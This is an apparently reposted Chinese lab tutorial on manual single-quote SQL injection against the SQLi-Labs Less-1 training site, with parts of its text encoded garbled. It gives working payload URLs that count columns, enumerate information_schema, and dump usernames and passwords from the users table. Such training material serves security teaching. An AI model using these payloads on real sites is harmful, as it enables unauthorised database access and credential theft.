基于SQLI的SQL字符型報(bào)錯(cuò)注入
一. 實(shí)驗(yàn)?zāi)康?/h3>
理解數(shù)字型報(bào)錯(cuò)SQL注入漏洞點(diǎn)的定位方法,掌握利用手工方式完成一次完整SQL注入的過程,熟悉常見SQL注入命令的操作。
二. 實(shí)驗(yàn)環(huán)境
滲透主機(jī):KALI平臺(tái)
用戶名: college
密碼: 360College
目標(biāo)網(wǎng)站:SQLI平臺(tái)的Less-1科目
用戶名: xxx
密碼: xxx
注意:將MySQL的版本調(diào)到5.5以上,因?yàn)檫@樣數(shù)據(jù)庫內(nèi)才會(huì)有information_schema數(shù)據(jù)庫。(實(shí)驗(yàn)鏡像中已經(jīng)調(diào)整)
三. 實(shí)驗(yàn)原理
MySQL語言的注釋語法:
--(這里有一個(gè)空格,--空格)
在SQL內(nèi)表示注釋,但在URL中,如果在最后加上--
,瀏覽器在發(fā)送請求的時(shí)候會(huì)把URL末尾的空格舍去,所以我們用--+
代替--
,原因是+
在URL被URL編碼后會(huì)變成空格。
四. 實(shí)驗(yàn)內(nèi)容
1. 靶機(jī)/var/www/html中找到源碼分析Less-1網(wǎng)頁源碼
得出結(jié)論:如果你輸入不同的id值就會(huì)返回不同的結(jié)果,實(shí)際查詢的語句是:
SELECT * FROM users WHERE id="1 LIMIT 0,1;
2. kali訪問網(wǎng)址http://靶機(jī)IP/Less-1/進(jìn)行注入
(1)在瀏覽器地址欄中輸入http://【靶機(jī)IP】/Less-1/,訪問SQLI-Labs的less-1
。
(2)在上面的URL末端加上?id=1
的動(dòng)態(tài)參數(shù),頁面顯示登錄用戶名Dumb、密碼Dumb:
嘗試判斷是否存在SQL注入以及哪種注入類型
(1)經(jīng)過語句and 1=2
測試 ,頁面回顯正常,所以該地方不是數(shù)值查詢。
(2)嘗試在id后面加上’
(單引號),發(fā)現(xiàn)頁面回顯不正常,表示可能存在SQL字符注入。
(3)輸入- -+
將sql后面的語句注釋掉后,頁面回顯正常,則證明是單引號字符型注入。
手工SQL注入獲得數(shù)據(jù)庫的用戶名與密碼
說明:本實(shí)驗(yàn)Kali平臺(tái)的Firefox瀏覽器中已預(yù)安裝Hackbar插件,可使用快捷鍵F12啟用。后續(xù)的實(shí)驗(yàn)步驟中,可以選擇在Hackbar中來執(zhí)行,或者直接在瀏覽器的地址欄中執(zhí)行。
(1)使用order by語句判斷該表中一共有幾列數(shù)據(jù)。order by 3頁面回顯正常,order by 4頁面回顯不正常,說明此表一共有3列。
所用的payload格式為:http://【靶機(jī)IP】/Less-1/?id=1' order by N --+
(2)使用union select 1,2,3聯(lián)合查詢語句查看頁面是否有顯示位。發(fā)現(xiàn)頁面先輸出了2和3,說明頁面有2個(gè)顯示位。
所用的payload格式為:http://【靶機(jī)IP】/Less-1/?id=1' and 1=2 union select 1,2,3 --+
(3)利用sql查詢語句爆破出數(shù)據(jù)庫內(nèi)的數(shù)據(jù)庫名。
所用的payload格式為:http://【靶機(jī)IP】/Less-1/?id=1' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
(4)利用sql查詢語句爆破出security數(shù)據(jù)庫內(nèi)的表名。
所用的payload格式為:http://【靶機(jī)IP】/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
(5)利用sql查詢語句爆破出users數(shù)據(jù)表內(nèi)的列名。
所用的payload格式為:http://【靶機(jī)IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
(6)利用sql查詢語句爆破出username、password列的值。
所用的payload格式為:http://【靶機(jī)IP】/Less-1/?id=1' and 1=2 union select 1,group_concat(username), group_concat(password) from security.users --+
文章來源:http://www.zghlxwxcb.cn/news/detail-531196.html
五. 思考與總結(jié)
通過本次實(shí)驗(yàn),成功實(shí)現(xiàn)了利用SQL注入漏洞的管理員帳戶密碼的獲取,掌握了SQL注入漏洞的手工攻擊方法,在此基礎(chǔ)上可以深刻體會(huì)SQL注入漏洞的危害以及采取相關(guān)網(wǎng)絡(luò)安全防護(hù)防御措施。文章來源地址http://www.zghlxwxcb.cn/news/detail-531196.html
到了這里,關(guān)于基于SQLI的SQL字符型報(bào)錯(cuò)注入的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!